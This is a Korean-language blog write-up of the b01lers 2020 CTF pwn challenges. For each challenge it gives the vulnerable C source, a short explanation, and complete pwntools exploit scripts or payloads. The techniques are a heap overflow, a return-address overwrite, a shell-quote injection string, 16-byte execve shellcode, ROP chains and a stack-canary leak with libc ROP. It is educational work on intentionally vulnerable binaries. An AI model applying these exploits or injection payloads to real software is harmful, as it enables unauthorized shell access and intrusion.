[b01lers 2020 CTF] write up
There is no Spoon
keyword: `Heap overflow`
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
char * xor(char * src, char * dest, int len) {
for(int i = 0; i < len - 1; i++) {
dest[i] = src[i] ^ dest[i];
}
dest[len-1] = 0;
return dest;
}
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
char buffer[256];
int len = 256;
printf("Neo, enter your matrix: ");
len = read(0, buffer, len);
char * buffer2 = malloc(strlen(buffer));
int * changeme = malloc(sizeof(int));
*changeme = 255;
printf("Reality: %d\n", *changeme);
printf("Make your choice: ");
len = read(0, buffer2, len);
printf("Now bend reality. Remember: there is no spoon.\n");
char * result = xor(buffer2, buffer, len);
printf("Result: %s\n", result);
printf("Reality: %d\n", *changeme);
if (*changeme != 0xff) {
system("/bin/sh");
}
}
바이너리는 `main()` 함수와 `xor()` 함수가 존재한다.
위 코드를 보면, 공격자가 값을 입력하면 그 길이 만큼 `malloc()` 함수로 동적 할당한다.
이는 `strlen()` 함수의 특성상 `\x00`으로 문자열의 길이를 조작할 수 있다.
이 때문에, `var_c`의 값과 할당받은 `rax_5`의 크기가 다르기 때문에 `read(0, rax_5, var_c)` 에서 `heap overflow` 가 발생하게 된다. `heap overflow` 를 일으켜 `0xff`의 값을 바꾸면 `system("/bin/sh")` 를 실행 할 수 있게 된다.
from pwn import *
import gdb_attach
p = remote("chal.ctf.b01lers.com", "1006")
payload = "A"+"\x00"
payload += "A"*50
p.sendlineafter(":", payload)
payload = "A"*33
p.sendlineafter(":", payload)
p.interactive()
the oracle
keyword: `RTL`
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char* argv[] = { NULL };
char* envp[] = { NULL };
execve("/bin/sh", argv, envp);
}
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
char buffer[16];
printf("Know Thyself.\n");
fgets(buffer, 128, stdin);
}
설명 할 것도 없다. `buffer overflow` 가 발생해 `ret`에 `win()` 함수를 overwrite 하면 된다.
from pwn import *
p = remote("chal.ctf.b01lers.com", "1015")
e = ELF("./chall")
payload = "A"*24
payload += p64(e.symbols["win"])
p.sendlineafter(".", payload)
p.interactive()
White Rabbit
keyword: `shell escape`
위 코드를 보면 `sprintf()` 함수에 문자열을 저장 한 뒤, `system()` 함수로 실행한다.
아래 문자열에서 싱글쿼터를 잘 escape 하면 shell을 실행 할 수 있다.
[ -f '%1$s' ] && cat '%1$s' || echo File does not exist
필자가 생각한 payload는 다음과 같다.
'];cat";/bin/sh;cat'
Free Your Mind
keyword: `shell craft`
#include <stdio.h>
#include <unistd.h>
char shellcode[16];
int main() {
char binsh[8] = "/bin/sh";
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
printf("I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.\n");
read(0, shellcode, 16);
((void (*)()) (shellcode))();
}
이번 문제는 공격자로 부터 16자리를 입력 받은 뒤 실행한다. 16자리 shell code를 작성해야 하는데, 이때는 풀 수가 없었다... 아무리 해도 16자리로 작성하는 방법을 알지 못했다.
풀이를 보니, `pop` 보다는 `xor` 명령어의 크기가 훨씬 작았다. 또한 `mov eax, 0x3b` 보다 `mov al, 0x3b` 로 크기를 줄일 수 있었다. 덕분에 `mov` 와 `lea` 차이를 몰랐는데.. 덕분에 알게됨
lea rdi, [rsp+0x08]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
from pwn import *
import gdb_attach
context.arch = "amd64"
p = process("./chall")
payload = asm("""
lea rdi, [rsp+0x08]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
""")
print("length: "+str(len(payload)))
p.sendafter(".", payload)
p.interactive()
See for Yourself
keyword: `ROP`
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
char * binsh = "/bin/sh";
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
system(NULL);
char * shellcode[0];
printf("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself.\n");
read(0, shellcode, 64);
}
shell을 실행시키기 위한 가젯들이 존재한다. 이를 이용해 `ROP` 로 shell을 실행하면 된다.
근데 `glibc 2.27` 버전에서 `do_system+1094` 부분에 에러가 발생한다.
pop_rdi_ret = 0x401273
binsh = 0x402008
system = 0x401080
payload = "A"*8
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
이와 관련된 문제를 찾아보니... 솔직히 왜 이러한 에러가 발생하는지는 모르겠지만 `ret` 가젯만 넣어주면 해결되는 듯 하다. 따라서 최종 payload는 다음과 같다.
from pwn import *
p = remote("chal.ctf.b01lers.com", "1008")
pop_rdi_ret = 0x401273
binsh = 0x402008
system = 0x401080
payload = "A"*8
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter("yourself.", payload)
p.interactive()
Goodbye, Mr. Anderson
keyword: `canary leak`, `ROP`
#include <stdio.h>
#include <stdlib.h>
char name[16];
void yay() {
asm("pop %rax");
asm("syscall");
return;
}
char * leak_stack_canary(char * buffer, int maxlen) {
int length;
scanf("%d", &length);
if (length > maxlen) {
exit(13);
}
fgetc(stdin);
for (int i = 0; i <= length; i++) {
buffer[i] = fgetc(stdin);
}
return buffer;
}
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
char buffer[24];
printf("You hear that, Mr. Anderson? That's the sound of inevitability, that's the sound of your death, goodbye, Mr. Anderson.\n");
leak_stack_canary(name, 16);
leak_stack_canary(buffer, 64);
printf("%s\n", buffer);
leak_stack_canary(buffer, 64);
printf("%s\n", buffer);
leak_stack_canary(buffer, 128);
printf("%s\n", buffer);
}
`main()` 함수에 2번째 `leak_stack_canary()` 함수에서 `BOF` 공격으로 `canary`를 leak 할 수 있다.
3번째 `leak_stack_canary()` 함수에서는 `libc_base`를 구할 수 있고, 마지막으로 `ROP` 로 shell을 실행 시킬 수 있다.
from pwn import *
p = remote("chal.ctf.b01lers.com", "1009")
e = ELF("./chall", checksec=False)
l = ELF("./leaks-libc") # remote
######## Dummy #########
p.sendlineafter("Anderson.", "15")
p.sendline("A"*15)
########################
####### Get canary ########
p.sendline("24")
p.sendline("A"*24)
p.recvuntil("A\x0a")
canary = u64("\x00" + p.recv(7))
print("[*] canary: "+hex(canary))
#############################
###### Leak libc_base ########
p.sendline("39")
p.sendline("A"*39)
p.recvuntil("A\x0a")
__libc_start_main = u64(p.recvuntil("\x0a").replace("\x0a", "").ljust(8, "\x00")) - 231
libc_base = __libc_start_main - l.symbols["__libc_start_main"]
binsh = libc_base + l.search("/bin/sh").next()
system = libc_base + l.symbols["system"]
rdiret = libc_base + l.search(asm("pop rdi; ret")).next()
ret = libc_base + l.search(asm("ret")).next()
#############################
###### Send payload ########
payload = "A"*24
payload += p64(canary)
payload += "A"*8
payload += p64(rdiret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
p.sendline(str(len(payload)))
p.sendline(payload)
############################
p.interactive()
'🚩CTF' 카테고리의 다른 글
[UMass 2021 CTF] write up (0) | 2021.03.29 |
---|---|
[DamCTF 2020] write up (1) | 2020.10.12 |
[DreamhackCTF 2020] validator write up (3) | 2020.09.29 |
[DreamhackCTF 2020] Mango write up (0) | 2020.09.29 |
[DarkCTF 2020] web write up (0) | 2020.09.27 |
댓글
이 글 공유하기
다른 글
-
[UMass 2021 CTF] write up
[UMass 2021 CTF] write up
2021.03.29 -
[DamCTF 2020] write up
[DamCTF 2020] write up
2020.10.12 -
[DreamhackCTF 2020] validator write up
[DreamhackCTF 2020] validator write up
2020.09.29 -
[DreamhackCTF 2020] Mango write up
[DreamhackCTF 2020] Mango write up
2020.09.29